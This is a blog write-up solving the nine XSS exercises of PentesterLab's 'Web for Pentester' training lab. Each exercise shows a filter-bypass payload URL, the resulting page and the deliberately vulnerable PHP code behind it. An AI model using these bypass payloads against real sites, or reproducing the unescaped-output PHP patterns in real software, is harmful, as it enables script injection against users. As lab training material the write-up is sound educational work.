Solutions For Web For Pentester 1 - XXS (Cross Site Scripting) by PentesterLab

One of the options to start preparing the OSCP or simply to improve the pentesting skills is to make the laboratories of PentesterLab . Currently you have available 20 free exerciseswith downloadable courses and ISOS to install the virtual machines and quickly assemble your lab. Also for just 20 $ per month you have PRO access with which you can download the material (pdf / ePub), videos and you have access to 19 more exercises with some online labs. 

The idea is to make them all, from the first to the last, and go publishing the solucionarios or write-ups of each one. However, my recommendation is that you first try to solve each exercise on your own, because it is the best way to learn and prepare to be able to unwind alone in a real environment or in an exam. And later if you want you can take a look at the corresponding post to see if you have more or less followed the same path or not, because I imagine that many times there will be more than one way of doing things. 

In any case, it is very good to have them as a repository because each exercise is tremendously academic and we will surely discover new vulnerabilities and / or ways to exploit a system, so let's do it! 

First we will start with the exercises with the lowest level of difficulty, although later it is possible that we give a punctual jump and make one more difficult before completing a badge (categories in which some exercises are classified by theme).

First we will do the exercise ' Web for Pentester ' which really is a compendium of the most common web vulnerabilities and, although it is for beginners, as we said we want to complete all the exercises and it is a good base. So we simply download the ISO, start it with a new VM and access the index by the browser to start:


As you can see in the image I have selected the XSS examples with a box, because the lab is so extensive that we are going to divide this first exercise into several entries. 

In this first entry about Cross-Site Scripting or XSS vulnerabilities we will go through each one of the examples and showing what the client's side looks like before and after injecting the valid payload, as well as the server's full PHP code so that it is what as educational as possible. 

Exercise 1:

In the first exercise we can inject any javascript code to verify that it is not validated and returned in the answer: 

PAYLOAD:
http://pentesterlab/xss/example1.php?name=hacker<script>alert('Hackplayers')</script>

CLIENT:
...
Hello 
hacker<script>alert('Hackplayers')</script>
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

SERVER: 
<?php require_once '../header.php'; ?>
<html>
Hello 
<?php 
    echo $_GET["name"];
?>

<?php require_once '../footer.php'; ?>


Exercise 2:

In the following exercise if we inject the previous payload we will see that ' <script> ' and ' </ script> ' are filtered: 

CLIENT1:
...
Hello 
hackeralert('vulnerable')      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

But just put one letter of each tag in uppercase to avoid this weak filter: 

PAYLOAD:
http://pentesterlab/xss/example2.php?name=hacker<SCript>alert('xss')</SCript>

CLIENT2:
...
Hello 
hacker<sCript>alert('xss')</sCript>      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

      
SERVER:
<?php require_once '../header.php'; ?>
Hello 
<?php
     
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/","", $name);
    $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

Exercise 3:

In the following exercise we will see that you have taken the precaution of using the 'i' modifier so that the filter is case-insensitive , so the tags will be eliminated: 

CLIENT1:
...
Hello 
hackeralert('vulnerable')
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

Now, if you delete the tags that contain 'script' we can use this for the filter to do the work for us: 

PAYLOAD:
http://pentesterlab/xss/example3.php?name=hacker<scri<script>pt>alert('xss')</scri</script>pt>

CLIENT2:
...
<<Hello 
hacker<script>alert('xss')</script>
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

SERVER:
<?php require_once '../header.php'; ?>
Hello 
<?php
     
    $name =  $_GET["name"];
    $name = preg_replace("/<script>/i","", $name);
    $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

<?php require_once '../footer.php'; ?>

Exercise 4:

The fourth exercise returns only an error with the previous payload: 

CLIENT1:
...
error
...

Normally it is because it is no longer performing a replace, but this time it looks for the "script" pattern and if it finds it returns the error (an if condition). 
But since not all XSS are exploitable using that tag, we can use any other vector to execute javascript, for example: 

PAYLOAD:
http://pentesterlab/xss/example4.php?name=<img src='nonexistant' onerror='alert("xss")' />

CLIENT2: 
...
Hello <img src='nonexistant' onerror='alert("xss")' />      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

SERVER: 
<?php require_once '../header.php'; 

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?> 

Exercise 5:

Another turn of the nut ... we will get an error if we drag the previous payload: 

CLIENT1: 
...
error
...

This time the filtered word is 'alert' so we have to replace it with another function, for example eval (String.fromCharCode ()) that will convert from decimal to ASCII the necessary characters avoiding the function preg_match ... 

PAYLOAD: 
http://pentesterlab/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

CLIENT2: 
Hello <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

SERVER: 
<?php require_once '../header.php'; 

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>  

Exercise 6:

And we are already in exercise 6 and as you can imagine in this the previous payload is not valid either: 

CLIENT1: 
...
Hello 
<script>
    var $a= "<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>";
</script>
          <footer>
...

But if you look at the previous code, the tags are duplicated, so we only have to modify the payload in the appropriate way: 

PAYLOAD     
http://pentesterlab/xss/example6.php?name=hacker";alert('xss');"

CLIENT2: 
...
Hello 
<script>
    var $a= "hacker";alert('xss');"";
</script>
          <footer>
    ...

SERVER: 
<?php require_once '../header.php'; ?>
Hello 
<script>
    var $a= "<?php  echo $_GET["name"]; ?>";
</script>
    <?php require_once '../footer.php'; ?>

Exercise 7:

. In Exercise 7, we see that being coded special characters and can not use double quotation mark ( ") is probably because they are starting to use functions designed to protect against XSS. 

CLIENT1: 
...
Hello 
<script>
    var $a= 'hacker&quot;;alert('xss');&quot;';
</script>
    
      <footer>
....

One of these functions, htmlentities, does not filter the single quote by default (unless it is specified with the ENT_QUOTES switch), so the modification of the payload is trivial: 

PAYLOAD: 
http://pentesterlab/xss/example7.php?name=hacker';alert('xss');'

CLIENT2: 
...
Hello 
<script>
    var $a= 'hacker';alert('xss');'';
</script>
    
      <footer>
...

SERVER: 
<?php require_once '../header.php'; ?>
Hello 
<script>
    var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>
    
<?php require_once '../footer.php'; ?>

Exercise 8:

Exercise 8 differs a bit from the rest and presents a form (POST method): 

CLIENT1: 
...
<form action="/xss/example8.php" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

This time it uses the function P HP_SELF that allows us to insert malicious javascript code closing and adding it later: 

PAYLOAD: 
http://pentesterlab/xss/example8.php/"><script>alert('xss')</script>

CLIENT2: 
...

<form action="/xss/example8.php/"><script>alert('xss')</script>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

    </div> <!-- /container -->
...

SERVER: 
<?php 
  require_once '../header.php'; 

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

<?php 
   
  require_once '../footer.php'; 

?>

Exercise 9:

The last exercise is a DOM-based XSS. The existing javascript is looking for the anchor or anchor # to write the url inside the page. We can exploit this by putting the payload xss inside the url after the anchor. 

CLIENT1: 
...
<script>
  document.write(location.hash.substring(1));
</script>
      <footer>
...

PAYLOAD: 
http://pentesterlab/xss/example9.php#hacker12333<script>alert('1')</script>


CLIENT2:  
<div class="container">
<script>
  document.write(location.hash.substring(1));
</script>hacker12333<script>alert('1')</script>
      <br />
<footer>
        © PentesterLab 2013<br />

      </footer>

    </div>

SERVER: 
<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

And so far the XSS exercises. See you in the next post with a lot of SQLi examples in the 'Web for Pentester' lab :) 

1 Comments

Previous Post Next Post